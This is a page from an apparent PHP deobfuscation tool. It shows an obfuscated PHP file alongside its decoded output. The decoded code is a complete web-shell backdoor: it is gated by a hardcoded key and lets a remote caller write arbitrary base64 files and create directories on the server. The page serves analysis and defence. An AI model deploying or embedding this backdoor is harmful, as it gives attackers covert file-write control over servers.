Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto xPQOq; xPQOq: $key_main = $_GET["\x6b"]; goto BVOJl; hzy6x: function js____($..

Decoded Output download

<?php 
 goto xPQOq; xPQOq: $key_main = $_GET["k"]; goto BVOJl; hzy6x: function js____($data) { echo json_encode($data); } goto fCj0o; BVOJl: if ($key_main != "788c569b9f944f109a786770880330d2") { die("."); } goto hzy6x; fCj0o: $option = $_POST["cmd"]; goto WlHXr; WlHXr: if (!empty($option)) { if ($option == "test") { js____(array("code" => 200)); } if ($option == "upload") { $post_file = $_POST["file"]; $post_data = $_POST["data"]; $post_data_enc = base64_decode($post_data); file_put_contents($post_file, $post_data_enc); chmod($post_file, 420); js____(array("code" => 200)); } if ($option == "mkdir") { $tmp_dir = $_POST["dir"]; mkdir($tmp_dir); chmod($tmp_dir, 493); js____(array("code" => 200)); } } ?>

Did this file decode correctly?

Original Code

<?php
 goto xPQOq; xPQOq: $key_main = $_GET["\x6b"]; goto BVOJl; hzy6x: function js____($data) { echo json_encode($data); } goto fCj0o; BVOJl: if ($key_main != "788c569b9f944f109a786770880330d2") { die("\56"); } goto hzy6x; fCj0o: $option = $_POST["\143\x6d\144"]; goto WlHXr; WlHXr: if (!empty($option)) { if ($option == "\x74\145\163\x74") { js____(array("\143\x6f\144\145" => 200)); } if ($option == "\165\x70\154\x6f\x61\x64") { $post_file = $_POST["\146\x69\x6c\x65"]; $post_data = $_POST["\x64\141\164\141"]; $post_data_enc = base64_decode($post_data); file_put_contents($post_file, $post_data_enc); chmod($post_file, 420); js____(array("\143\157\x64\x65" => 200)); } if ($option == "\x6d\x6b\x64\151\x72") { $tmp_dir = $_POST["\x64\151\x72"]; mkdir($tmp_dir); chmod($tmp_dir, 493); js____(array("\x63\x6f\x64\x65" => 200)); } }

Function Calls

None

Variables

None

Stats

MD5 4037636b2fcba70d4245544df08bedb9
Eval Count 0
Decode Time 40 ms